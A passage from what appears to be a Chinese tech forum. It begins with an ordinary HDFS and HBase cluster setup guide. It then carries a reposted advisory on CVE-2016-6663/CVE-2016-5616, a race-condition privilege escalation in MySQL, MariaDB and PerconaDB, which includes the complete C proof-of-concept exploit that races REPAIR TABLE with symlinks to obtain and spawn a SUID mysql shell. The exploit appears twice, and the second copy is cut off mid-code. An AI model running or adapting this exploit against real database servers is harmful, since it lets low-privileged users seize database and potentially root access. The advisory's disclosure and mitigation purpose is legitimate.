<value>/data/appData/hdfs/data</value>
</property>

<!-- JournalNode 数据本地存储路径 -->
<property>
<name>dfs.journalnode.edits.dir</name>
<value>/data/appData/hdfs/jn</value>
</property>

<!-- 修改文件存储到edits,定期同步到DataNode -->
<property>
<name>dfs.namenode.edits.noeditlogchannelflush</name>
<value>true</value>
</property>

<!-- edits 数据本地存储路径 -->
<property>
<name>dfs.namenode.edits.dir</name>
<value>/data/appData/hdfs/edits</value>
</property>

<!-- 开启Block Location metadata允许impala知道数据块在哪块磁盘上 默认关闭 -->
<property>
<name>dfs.datanode.hdfs-blocks-metadata.enabled</name>
<value>true</value>
</property>

<!-- 权限检查 默认开启 -->
<property>
<name>dfs.permissions.enabled</name>
<value>false</value>
</property>

<!-- block 大小设置 -->
<property>
<name>dfs.blocksize</name>
<value>64m</value>
</property>
</configuration>
小于5个DataNode建议添加如下配置
<!-- 数据副本数量,不能超过DataNode数量,大集群建议使用默认值 默认 3 -->
<property>
<name>dfs.replication</name>
<value>2</value>
</property>

<!-- 当副本写入失败时不分配新节点,小集群适用 -->
<property>
<name>dfs.client.block.write.replace-datanode-on-failure.policy</name>
<value>NEVER</value>
</property>
在 hadoop-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HADOOP_LOG_DIR=/data/logs/hadoop
export HADOOP_PID_DIR=/data/pid
# SSH端口 可选
export HADOOP_SSH_OPTS="-p 36000"
Heap 设置,单位 MB
export HADOOP_HEAPSIZE=1024
权限设置
chown -R run.run /data/{app,appData,logs}
chmod 777 /data/pid
格式化
格式化只需要执行一次,格式化之前启动Zookeeper
 
切换用户
su - run
启动所有 JournalNode
hadoop-daemon.sh start journalnode
格式化 Zookeeper(为 ZKFC 创建znode)
hdfs zkfc -formatZK
NameNode 主节点格式化并启动
hdfs namenode -format
hadoop-daemon.sh start namenode
NameNode 备节点同步数据并启动
hdfs namenode -bootstrapStandby
hadoop-daemon.sh start namenode
启动 ZKFC
hadoop-daemon.sh start zkfc
启动 DataNode
hadoop-daemon.sh start datanode
启动与停止
切换用户
su - run
集群批量启动
需要配置运行用户ssh-key免密码登录,与$HADOOP_HOME/etc/hadoop/slaves
# 启动
start-dfs.sh
# 停止
stop-dfs.sh
单服务启动停止
启动HDFS
hadoop-daemon.sh start journalnode
hadoop-daemon.sh start namenode
hadoop-daemon.sh start zkfc
hadoop-daemon.sh start datanode
停止HDFS
hadoop-daemon.sh stop datanode
hadoop-daemon.sh stop namenode
hadoop-daemon.sh stop journalnode
hadoop-daemon.sh stop zkfc

测试
HDFS HA 测试
打开 NameNode 状态页:
http://cdh-m1:50010
http://cdh-m2:50010 

在 Overview 后面能看见 active 或 standby,active 为当前 Master,停止 active 上的 NameNode,检查 standby是否为 active。
 
HDFS 测试
hadoop fs -mkdir /test
hadoop fs -put /etc/hosts /test
hadoop fs -ls /test
结果:
-rw-r--r--   2 java supergroup         89 2016-06-15 10:30 /test/hosts
# 其中权限后面的列(这里的2)代表文件总数,即副本数量。
HDFS 管理命令
# 动态加载 hdfs-site.xml
hadoop dfsadmin -refreshNodes


HBase安装配置


cd /data/install
tar xf hbase-1.0.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hbase-1.0.0-cdh5.4.5 hbase
设置环境变量
sed -i '/^export PATH=/i\export HBASE_HOME=/data/app/hbase' /etc/profile
sed -i 's#export PATH=#&\$HBASE_HOME/bin:#' /etc/profile
source /etc/profile
删除无用文件
cd $HBASE_HOME
rm -rf *.txt pom.xml src docs cloudera dev-support hbase-annotations hbase-assembly hbase-checkstyle hbase-client hbase-common hbase-examples hbase-hadoop2-compat hbase-hadoop-compat hbase-it hbase-prefix-tree hbase-protocol hbase-rest hbase-server hbase-shell hbase-testing-util hbase-thrift
find . -name "*.cmd"|xargs rm -f
配置
进入配置文件目录
cd $HBASE_HOME/conf
编辑 hbase-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HBase 数据存储路径 -->
<property>
<name>hbase.rootdir</name>
<value>hdfs://hdfs-cdh/hbase</value>
</property>

<!-- 完全分布式模式 -->
<property>
<name>hbase.cluster.distributed</name>
<value>true</value>
</property>

<!-- HMaster 节点 -->
<property>
<name>hbase.master</name>
<value>cdh-m1:60000,cdh-m2:60000</value>
</property>

<!-- Zookeeper 节点 -->
<property>
<name>hbase.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>

<!-- znode 路径,Zookeeper集群中有多个HBase集群需要设置不同znode -->
<property>
<name>zookeeper.znode.parent</name>
<value>/hbase</value>
</property>

<!-- HBase 协处理器 -->
<property>
<name>hbase.coprocessor.user.region.classes</name>
<value>org.apache.hadoop.hbase.coprocessor.AggregateImplementation</value>
</property>
</configuration>
在 hbase-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HBASE_LOG_DIR=/data/logs/hbase
export HBASE_PID_DIR=/data/pid
export HBASE_MANAGES_ZK=false
# SSH 默认端口 可选
export HBASE_SSH_OPTS="-o ConnectTimeout=1 -p 36000"
Heap 设置,单位 MB
export HBASE_HEAPSIZE=1024
可选设置 regionservers 中添加所有RegionServer主机名,用于集群批量启动、停止
 
启动与停止
切换用户
su - run
集群批量启动
需要配置运行用户ssh-key免密码登录,与$HBASE_HOME/conf/regionservers
# 启动
start-hbase.sh
# 停止
stop-hbase.sh
单服务启动停止
HMaster
# 启动
hbase-daemon.sh start master
# 停止
hbase-daemon.sh stop master
HRegionServer
# 启动
hbase-daemon.sh start regionserver
# 停止
hbase-daemon.sh stop regionserver

测试
HBase HA 测试
浏览器打开两个HMaster状态页:
http://cdh-m1:60010
http://cdh-m2:60010 

可以在Master后面看见其中一个主机名,Backup Masters中看见另一个。
停止当前Master,刷新另一个HMaster状态页会发现Master后面已经切换,HA成功。
 
HBase 测试
进入hbase shell 执行:
create 'users','user_id','address','info'
list
put 'users','anton','info:age','24'
get 'users','anton'

# 最终结果
COLUMN CELL
info:age timestamp=1465972035945, value=24
1 row(s) in 0.0170 seconds
清除测试数据:
disable 'users'
drop 'users'
到这里安装就全部完成,不懂的地方可以留言交流!

TCP: time wait bucket table overflow

开源技术采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 209 次浏览 • 2016-11-03 21:40 • 来自相关话题

MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞

数据库Geek小A 发表了文章 • 0 个评论 • 181 次浏览 • 2016-11-03 13:53 • 来自相关话题

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响:




 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';执行完成后,查看下目录权限,变为mysqlattacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+通过查看系统调用,可以看到
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0第一个系统调用是
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)再次查看/tmp/disktable/权限attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:








 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加symbolic-links = 0

 

参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html  查看全部
mysql.png

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响
Version.png

 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
执行完成后,查看下目录权限,变为mysql
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
通过查看系统调用,可以看到
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
第一个系统调用是
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
再次查看/tmp/disktable/权限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:
bugqa1.png

bugqa2.png

 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
